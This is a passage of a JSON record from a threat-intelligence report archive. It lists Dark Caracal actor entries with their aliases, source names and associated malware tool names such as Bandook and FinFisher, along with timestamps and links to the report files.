				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "4a62c0be-1583-4d82-8f91-46e3a1c114e6",
			"created_at": "2023-01-06T13:46:38.73639Z",
			"updated_at": "2026-04-10T02:00:03.083265Z",
			"deleted_at": null,
			"main_name": "Dark Caracal",
			"aliases": [
				"G0070"
			],
			"source_name": "MISPGALAXY:Dark Caracal",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "af704c54-a580-4c29-95f2-82db06fbb6f9",
			"created_at": "2022-10-25T16:07:23.525064Z",
			"updated_at": "2026-04-10T02:00:04.64019Z",
			"deleted_at": null,
			"main_name": "Dark Caracal",
			"aliases": [
				"ATK 27",
				"G0070",
				"Operation Dark Caracal",
				"TAG-CT3"
			],
			"source_name": "ETDA:Dark Caracal",
			"tools": [
				"Bandok",
				"Bandook",
				"CrossRAT",
				"FinFisher",
				"FinFisher RAT",
				"FinSpy",
				"Pallas",
				"Trupto"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434674,
	"ts_updated_at": 1775792055,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a3f44470d2ac64e113693e133f0e14e6a388db6f.pdf",
		"text": "https://archive.orkl.eu/a3f44470d2ac64e113693e133f0e14e6a388db6f.txt",
		"img": "https://archive.orkl.eu/a3f44470d2ac64e113693e133f0e14e6a388db6f.jpg"
	}
}